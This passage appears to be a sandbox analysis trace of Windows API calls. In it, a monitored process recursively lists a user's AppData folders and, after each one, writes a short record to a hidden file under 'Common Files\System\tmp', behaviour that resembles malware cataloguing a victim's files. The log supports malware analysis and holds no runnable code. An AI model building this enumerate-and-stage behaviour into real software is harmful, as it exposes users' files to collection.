lpFindFileData=0x18c1dc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xee135b70, ftLastAccessTime.dwHighDateTime=0x1d35d05, ftLastWriteTime.dwLowDateTime=0xee135b70, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0126.312] FindNextFileA (in: hFindFile=0x7d16f0, lpFindFileData=0x18c1dc | out: lpFindFileData=0x18c1dc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xecb5bdd0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xecb5bdd0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe952fcd0, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0x892c, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobeCMapFnt10.lst", cAlternateFileName="ADOBEC~1.LST")) returned 1 [0126.312] FindNextFileA (in: hFindFile=0x7d16f0, lpFindFileData=0x18c1dc | out: lpFindFileData=0x18c1dc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xecb5bdd0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xecb5bdd0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xd9c071a0, ftLastWriteTime.dwHighDateTime=0x1d2e625, nFileSizeHigh=0x0, nFileSizeLow=0x21cdb, dwReserved0=0x4000000, dwReserved1=0x834958, cFileName="AdobeSysFnt10.lst", cAlternateFileName="ADOBES~1.LST")) returned 1 [0126.312] FindNextFileA (in: hFindFile=0x7d16f0, lpFindFileData=0x18c1dc | out: lpFindFileData=0x18c1dc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xecb5bdd0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xecb5bdd0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xecb5bdd0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4000000, dwReserved1=0x834958, cFileName="Cache", cAlternateFileName="")) returned 1 [0126.312] AreFileApisANSI () returned 1 [0126.312] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0126.312] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18be4c, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0126.312] GetFileType (hFile=0x180) returned 0x1 [0126.312] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x18bea8 | out: lpNewFilePointer=0x0) returned 1 [0126.312] GetLastError () returned 0xb7 [0126.312] SetLastError (dwErrCode=0xb7) [0126.312] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x18bef4 | out: lpNewFilePointer=0x0) returned 1 [0126.313] WriteFile (in: hFile=0x180, lpBuffer=0x18ab34*, nNumberOfBytesToWrite=0x9b, lpNumberOfBytesWritten=0x18ab14, lpOverlapped=0x0 | out: lpBuffer=0x18ab34*, lpNumberOfBytesWritten=0x18ab14*=0x9b, lpOverlapped=0x0) returned 1 [0126.313] GetLastError () returned 0xb7 [0126.313] SetLastError (dwErrCode=0xb7) [0126.313] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\10.0\\Cache\\*.*", lpFindFileData=0x18be80 | out: lpFindFileData=0x18be80*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xecb5bdd0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xecb5bdd0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xecb5bdd0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x7b0150, cFileName=".", cAlternateFileName="")) returned 0x7d1730 [0126.313] FindNextFileA (in: hFindFile=0x7d1730, lpFindFileData=0x18be80 | out: lpFindFileData=0x18be80*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xecb5bdd0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xecb5bdd0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xecb5bdd0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x7b0150, cFileName="..", cAlternateFileName="")) returned 1 [0126.313] FindNextFileA (in: hFindFile=0x7d1730, lpFindFileData=0x18be80 | out: lpFindFileData=0x18be80*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xecb5bdd0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xecb5bdd0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe952fcd0, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0xcfc4, dwReserved0=0x0, dwReserved1=0x7b0150, cFileName="AcroFnt10.lst", cAlternateFileName="ACROFN~1.LST")) returned 1 [0126.313] FindNextFileA (in: hFindFile=0x7d1730, lpFindFileData=0x18be80 | out: lpFindFileData=0x18be80*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xecb5bdd0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xecb5bdd0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe952fcd0, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0xcfc4, dwReserved0=0x0, dwReserved1=0x7b0150, cFileName="acrofnt10.lst", cAlternateFileName="ACROFN~1.LST")) returned 0 [0126.313] FindClose (in: hFindFile=0x7d1730 | out: hFindFile=0x7d1730) returned 1 [0126.313] GetLastError () returned 0x12 [0126.314] FindNextFileA (in: hFindFile=0x7d16f0, lpFindFileData=0x18c1dc | out: lpFindFileData=0x18c1dc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd3b286a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd3b286a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xee0c3750, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0x1400, dwReserved0=0x18bf44, dwReserved1=0x18bf74, cFileName="SharedDataEvents", cAlternateFileName="SHARED~1")) returned 1 [0126.314] FindNextFileA (in: hFindFile=0x7d16f0, lpFindFileData=0x18c1dc | out: lpFindFileData=0x18c1dc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd243f2e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd243f2e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xe99341f0, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0x12ea5, dwReserved0=0x18bf44, dwReserved1=0x18bf74, cFileName="UserCache.bin", cAlternateFileName="USERCA~1.BIN")) returned 1 [0126.314] FindNextFileA (in: hFindFile=0x7d16f0, lpFindFileData=0x18c1dc | out: lpFindFileData=0x18c1dc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd243f2e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd243f2e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xe99341f0, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0x12ea5, dwReserved0=0x18bf44, dwReserved1=0x18bf74, cFileName="usercache.bin", cAlternateFileName="USERCA~1.BIN")) returned 0 [0126.314] FindClose (in: hFindFile=0x7d16f0 | out: hFindFile=0x7d16f0) returned 1 [0126.314] GetLastError () returned 0x12 [0126.314] FindNextFileA (in: hFindFile=0x7d16b0, lpFindFileData=0x18c538 | out: lpFindFileData=0x18c538*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xee135b70, ftLastAccessTime.dwHighDateTime=0x1d35d05, ftLastWriteTime.dwLowDateTime=0xee135b70, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1000000, dwReserved1=0x834d00, cFileName="10.0", cAlternateFileName="")) returned 0 [0126.314] FindClose (in: hFindFile=0x7d16b0 | out: hFindFile=0x7d16b0) returned 1 [0126.314] GetLastError () returned 0x12 [0126.314] FindNextFileA (in: hFindFile=0x7d1670, lpFindFileData=0x18c894 | out: lpFindFileData=0x18c894*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xce60f420, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xce60f420, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18c5fc, dwReserved1=0x18c62c, cFileName="Color", cAlternateFileName="")) returned 1 [0126.314] AreFileApisANSI () returned 1 [0126.314] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0126.314] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18c504, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x178 [0126.314] GetFileType (hFile=0x178) returned 0x1 [0126.314] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x18c560 | out: lpNewFilePointer=0x0) returned 1 [0126.314] GetLastError () returned 0xb7 [0126.314] SetLastError (dwErrCode=0xb7) [0126.314] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x18c5ac | out: lpNewFilePointer=0x0) returned 1 [0126.315] WriteFile (in: hFile=0x178, lpBuffer=0x18b1ec*, nNumberOfBytesToWrite=0x8e, lpNumberOfBytesWritten=0x18b1cc, lpOverlapped=0x0 | out: lpBuffer=0x18b1ec*, lpNumberOfBytesWritten=0x18b1cc*=0x8e, lpOverlapped=0x0) returned 1 [0126.315] GetLastError () returned 0xb7 [0126.315] SetLastError (dwErrCode=0xb7) [0126.315] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\*.*", lpFindFileData=0x18c538 | out: lpFindFileData=0x18c538*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xce60f420, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xce60f420, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1000000, dwReserved1=0x834888, cFileName=".", cAlternateFileName="")) returned 0x7d16b0 [0126.315] FindNextFileA (in: hFindFile=0x7d16b0, lpFindFileData=0x18c538 | out: lpFindFileData=0x18c538*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xce60f420, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xce60f420, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1000000, dwReserved1=0x834888, cFileName="..", cAlternateFileName="")) returned 1 [0126.315] FindNextFileA (in: hFindFile=0x7d16b0, lpFindFileData=0x18c538 | out: lpFindFileData=0x18c538*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xce60f420, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xce60f420, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xce719dc0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x49c, dwReserved0=0x1000000, dwReserved1=0x834888, cFileName="ACECache11.lst", cAlternateFileName="ACECAC~1.LST")) returned 1 [0126.315] FindNextFileA (in: hFindFile=0x7d16b0, lpFindFileData=0x18c538 | out: lpFindFileData=0x18c538*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xce4463a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xce6f3c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xce6f3c60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1000000, dwReserved1=0x834888, cFileName="Profiles", cAlternateFileName="")) returned 1 [0126.315] AreFileApisANSI () returned 1 [0126.315] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0126.315] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18c1a8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x17c [0126.315] GetFileType (hFile=0x17c) returned 0x1 [0126.315] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x18c208 | out: lpNewFilePointer=0x0) returned 1 [0126.315] GetLastError () returned 0xb7 [0126.315] SetLastError (dwErrCode=0xb7) [0126.316] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x18c254 | out: lpNewFilePointer=0x0) returned 1 [0126.316] WriteFile (in: hFile=0x17c, lpBuffer=0x18ae94*, nNumberOfBytesToWrite=0x97, lpNumberOfBytesWritten=0x18ae74, lpOverlapped=0x0 | out: lpBuffer=0x18ae94*, lpNumberOfBytesWritten=0x18ae74*=0x97, lpOverlapped=0x0) returned 1 [0126.316] GetLastError () returned 0xb7 [0126.316] SetLastError (dwErrCode=0xb7) [0126.316] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\*.*", lpFindFileData=0x18c1dc | out: lpFindFileData=0x18c1dc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xce4463a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xce6f3c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xce6f3c60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d16f0 [0126.316] FindNextFileA (in: hFindFile=0x7d16f0, lpFindFileData=0x18c1dc | out: lpFindFileData=0x18c1dc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xce4463a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xce6f3c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xce6f3c60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0126.316] FindNextFileA (in: hFindFile=0x7d16f0, lpFindFileData=0x18c1dc | out: lpFindFileData=0x18c1dc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xce60f420, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xce6f3c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xce6f3c60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x102a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="wscRGB.icc", cAlternateFileName="")) returned 1 [0126.316] FindNextFileA (in: hFindFile=0x7d16f0, lpFindFileData=0x18c1dc | out: lpFindFileData=0x18c1dc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xce60f420, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xce6f3c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xce6f3c60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0xa74, dwReserved0=0x10000000, dwReserved1=0x834e08, cFileName="wsRGB.icc", cAlternateFileName="")) returned 1 [0126.316] FindNextFileA (in: hFindFile=0x7d16f0, lpFindFileData=0x18c1dc | out: lpFindFileData=0x18c1dc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xce60f420, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xce6f3c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xce6f3c60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0xa74, dwReserved0=0x10000000, dwReserved1=0x834e08, cFileName="wsrgb.icc", cAlternateFileName="")) returned 0 [0126.316] FindClose (in: hFindFile=0x7d16f0 | out: hFindFile=0x7d16f0) returned 1 [0126.316] GetLastError () returned 0x12 [0126.316] FindNextFileA (in: hFindFile=0x7d16b0, lpFindFileData=0x18c538 | out: lpFindFileData=0x18c538*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xce4463a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xce6f3c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xce6f3c60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1000000, dwReserved1=0x834888, cFileName="profiles", cAlternateFileName="")) returned 0 [0126.316] FindClose (in: hFindFile=0x7d16b0 | out: hFindFile=0x7d16b0) returned 1 [0126.316] GetLastError () returned 0x12 [0126.317] FindNextFileA (in: hFindFile=0x7d1670, lpFindFileData=0x18c894 | out: lpFindFileData=0x18c894*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xce60f420, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xce60f420, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18c5fc, dwReserved1=0x18c62c, cFileName="color", cAlternateFileName="")) returned 0 [0126.317] FindClose (in: hFindFile=0x7d1670 | out: hFindFile=0x7d1670) returned 1 [0126.317] GetLastError () returned 0x12 [0126.317] FindNextFileA (in: hFindFile=0x7d1630, lpFindFileData=0x18cbf0 | out: lpFindFileData=0x18cbf0*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x2914fe20, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2914fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2914fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x18c95c, cFileName="Application Data", cAlternateFileName="APPLIC~1")) returned 1 [0126.317] AreFileApisANSI () returned 1 [0126.317] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0126.317] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18c860, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x174 [0126.317] GetFileType (hFile=0x174) returned 0x1 [0126.317] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x18c8c0 | out: lpNewFilePointer=0x0) returned 1 [0126.317] GetLastError () returned 0xb7 [0126.317] SetLastError (dwErrCode=0xb7) [0126.317] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x18c90c | out: lpNewFilePointer=0x0) returned 1 [0126.317] WriteFile (in: hFile=0x174, lpBuffer=0x18b54c*, nNumberOfBytesToWrite=0x93, lpNumberOfBytesWritten=0x18b52c, lpOverlapped=0x0 | out: lpBuffer=0x18b54c*, lpNumberOfBytesWritten=0x18b52c*=0x93, lpOverlapped=0x0) returned 1 [0126.318] GetLastError () returned 0xb7 [0126.318] SetLastError (dwErrCode=0xb7) [0126.318] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\*.*", lpFindFileData=0x18c894 | out: lpFindFileData=0x18c894*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb264df80, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb264df80, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x7b0150, cFileName=".", cAlternateFileName="")) returned 0x7d1670 [0126.318] FindNextFileA (in: hFindFile=0x7d1670, lpFindFileData=0x18c894 | out: lpFindFileData=0x18c894*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb264df80, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb264df80, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x7b0150, cFileName="..", cAlternateFileName="")) returned 1 [0126.318] FindNextFileA (in: hFindFile=0x7d1670, lpFindFileData=0x18c894 | out: lpFindFileData=0x18c894*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x7b0150, cFileName="Adobe", cAlternateFileName="")) returned 1 [0126.318] AreFileApisANSI () returned 1 [0126.318] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0126.318] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18c504, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x178 [0126.318] GetFileType (hFile=0x178) returned 0x1 [0126.318] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x18c560 | out: lpNewFilePointer=0x0) returned 1 [0126.319] GetLastError () returned 0xb7 [0126.319] SetLastError (dwErrCode=0xb7) [0126.319] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x18c5ac | out: lpNewFilePointer=0x0) returned 1 [0126.319] WriteFile (in: hFile=0x178, lpBuffer=0x18b1ec*, nNumberOfBytesToWrite=0x99, lpNumberOfBytesWritten=0x18b1cc, lpOverlapped=0x0 | out: lpBuffer=0x18b1ec*, lpNumberOfBytesWritten=0x18b1cc*=0x99, lpOverlapped=0x0) returned 1 [0126.319] GetLastError () returned 0xb7 [0126.319] SetLastError (dwErrCode=0xb7) [0126.319] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\*.*", lpFindFileData=0x18c538 | out: lpFindFileData=0x18c538*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d16b0 [0126.319] FindNextFileA (in: hFindFile=0x7d16b0, lpFindFileData=0x18c538 | out: lpFindFileData=0x18c538*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0126.319] FindNextFileA (in: hFindFile=0x7d16b0, lpFindFileData=0x18c538 | out: lpFindFileData=0x18c538*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Acrobat", cAlternateFileName="")) returned 1 [0126.319] AreFileApisANSI () returned 1 [0126.319] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0126.319] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18c1a8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x17c [0126.319] GetFileType (hFile=0x17c) returned 0x1 [0126.320] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x18c208 | out: lpNewFilePointer=0x0) returned 1 [0126.320] GetLastError () returned 0xb7 [0126.320] SetLastError (dwErrCode=0xb7) [0126.320] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x18c254 | out: 